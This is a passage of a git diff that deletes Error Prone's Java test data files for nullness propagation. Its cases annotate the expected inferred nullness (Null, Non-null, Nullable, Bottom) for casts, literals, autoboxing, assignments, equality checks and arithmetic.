stringsIsNullOrEmptyIsNullCheck(String s) { - if (Strings.isNullOrEmpty(s)) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(s); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - } - - public void objectsIsNullIsNullCheck(String s) { - if (Objects.isNull(s)) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(s); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - } - - public void objectsNonNullIsNullCheck(String s) { - if (Objects.nonNull(s)) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(s); - } - } - - public void optionalMethodsReturnNonNullUnlessAnnotated() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Optional.absent()); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Optional.of("")); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Optional.fromNullable(null)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Optional.of("Test")); - Optional myOptional = Optional.absent(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(myOptional.get()); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(myOptional.or("")); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(myOptional.asSet()); - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(myOptional.orNull()); - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases3.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases3.java deleted file mode 100644 index 234c582e762..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases3.java +++ /dev/null @@ -1,273 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnBoxed; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; - -import com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest; - -/** - * Dataflow analysis cases for testing transfer functions in nullness propagation around various - * kinds of expressions, method parameter and call handling, and loops. - */ -public class NullnessPropagationTransferCases3 { - public void casts() { - Object o = null; - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker((String) o); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed((int) o); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive((int) o); - - o = "str"; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker((String) o); - } - - public void literals() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive((byte) 1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive((short) 1000); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(33L); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(0.444f); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(0.5555d); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(true); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive('z'); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker("a string literal"); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(String.class); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(null); - } - - public void autoboxed() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed((byte) 1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed((short) 1000); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(33L); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(0.444f); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(0.5555d); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(true); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed('z'); - } - - public void autounbox() { - Integer i = null; - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i); - // Unboxing is a method call, so i must be non-null... - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(i); - } - - public void parameter(String str, int i) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str); - - // A call to plain triggerNullnessChecker() would implicitly call Integer.valueOf(i). - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i); - } - - public void assignment(String nullableParam) { - String str = nullableParam; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str); - - str = "a string"; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - - String otherStr = str; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - - str = null; - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str); - - otherStr = str; - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str); - } - - public void assignmentExpressionValue() { - String str = "foo"; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str = null); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str = "bar"); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - - str = null; - String str2 = null; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str = str2 = "bar"); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str = str2 = null); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void localVariable() { - short s; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(s = 1000); // narrowing conversion - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(s); - int i = 2; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i = s); // widening conversion - String str = "a string literal"; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - Object obj = null; - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(obj); - - ++i; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i); - } - - public void boxedPrimitives() { - Short s = 1000; - // BUG: Diagnostic contains: (Non-null) - NullnessPropagationTest.triggerNullnessChecker(s); - - Integer i = 2; - // BUG: Diagnostic contains: (Non-null) - NullnessPropagationTest.triggerNullnessChecker(i); - } - - public void nullableAssignmentToPrimitiveVariableExpressionValue() { - int i; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i = boxedIntReturningMethod()); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(boxedIntReturningMethod()); - } - - public void methodInvocation() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(intReturningMethod()); - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(stringReturningMethod()); - } - - private Integer boxedIntReturningMethod() { - return null; - } - - private int intReturningMethod() { - return 0; - } - - private String stringReturningMethod() { - return null; - } - - public void objectCreation(Object nullableParam) { - Object obj = nullableParam; - obj = new Object(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(obj); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(new Object[0]); - } - - public void inc() { - int i = 0; - short s = 0; - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i++); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(s++); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(++i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(++s); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i += 5); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(s += 5); - } - - public void loop1() { - Object o = null; - while (true) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(o); - o.hashCode(); - } - } - - public void loop2() { - Object o = null; - Object comingValue = null; - while (true) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(o); - - o = comingValue; - comingValue = new Object(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases4.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases4.java deleted file mode 100644 index fee52af3fd2..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases4.java +++ /dev/null @@ -1,273 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; - -/** Tests for ==. */ -public class NullnessPropagationTransferCases4 { - - public void equalBothNull() { - String str1 = null; - if (str1 == null) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - - if (null == str1) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 == str2) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void equalBothNonNull() { - String str1 = "foo"; - if (str1 == "bar") { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - if ("bar" == str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - String str2 = "bar"; - if (str1 == str2) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - - public void equalOneNullOtherNonNull() { - String str1 = "foo"; - if (str1 == null) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - if (null == str1) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 == str2) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - - if (str2 == str1) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void equalOneNullableOtherNull(String nullableParam) { - String str1 = nullableParam; - if (str1 == null) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - if (null == str1) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 == str2) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - - if (str2 == str1) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void equalOneNullableOtherNonNull(String nullableParam) { - String str1 = nullableParam; - if (str1 == "foo") { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - if ("foo" == str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - String str2 = "foo"; - if (str1 == str2) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - - if (str2 == str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - - // TODO(eaftan): tests for bottom? -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases5.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases5.java deleted file mode 100644 index 86f519e0105..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases5.java +++ /dev/null @@ -1,273 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; - -/** Tests for !=. */ -public class NullnessPropagationTransferCases5 { - - public void notEqualBothNull() { - String str1 = null; - if (str1 != null) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - - if (null != str1) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 != str2) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void notEqualBothNonNull() { - String str1 = "foo"; - if (str1 != "bar") { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - if ("bar" != str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - String str2 = "bar"; - if (str1 != str2) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - - public void notEqualOneNullOtherNonNull() { - String str1 = "foo"; - if (str1 != null) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - if (null != str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 != str2) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - - if (str2 != str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void notEqualOneNullableOtherNull(String nullableParam) { - String str1 = nullableParam; - if (str1 != null) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - if (null != str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 != str2) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - - if (str2 != str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void notEqualOneNullableOtherNonNull(String nullableParam) { - String str1 = nullableParam; - if (str1 != "foo") { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - if ("foo" != str1) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - String str2 = "foo"; - if (str1 != str2) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - - if (str2 != str1) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - - // TODO(eaftan): tests for bottom? -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases6.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases6.java deleted file mode 100644 index 72cf75092e9..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases6.java +++ /dev/null @@ -1,196 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; -import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases6.MyEnum.ENUM_INSTANCE; - -/** - * Tests for: - * - *
    - *
  • bitwise operations - *
  • numerical operations and comparisons - *
  • plain {@code visitNode} - *
  • name shadowing - *
- */ -public class NullnessPropagationTransferCases6 { - enum MyEnum { - ENUM_INSTANCE; - } - - public void bitwiseOperations() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 | 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 & 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 ^ 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(~1); - } - - public void bitwiseOperationsAreDereferences(Integer i) { - /* - * This next part has nothing to do with bitwise operations per se. The reason that it works is - * that we recognize the implicit intValue() call as a dereference. - */ - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(i); - int unused = ~i; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(i); - } - - public void numercialOperations() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 + 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 - 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 * 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 / 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 % 2); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1.0 / 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1.0 % 2); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 << 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 >> 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 >>> 2); - - int i = 1; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(+i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(-i); - } - - public void numericalOperationsAreDereferences(Integer i) { - // See bitwiseOperationsAreDereferences for some background. - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(i); - int unused = i + i; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(i); - } - - public void numercialComparisons() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 < 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 > 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 <= 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 >= 2); - } - - public void numericalComparisonsAreDereferences(Integer a, Integer b) { - // See bitwiseOperationsAreDereferences for some background. - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(a); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(b); - int unused = a + b; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(a); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(b); - } - - public void vanillaVisitNode() { - String[] a = new String[1]; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(a[0]); - } - - public void sameNameImmediatelyShadowed() { - final String s = "foo"; - - class Bar { - void method(String s) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(s); - } - } - } - - public void sameNameLaterShadowed() { - final String s = "foo"; - - class Bar { - void method() { - // 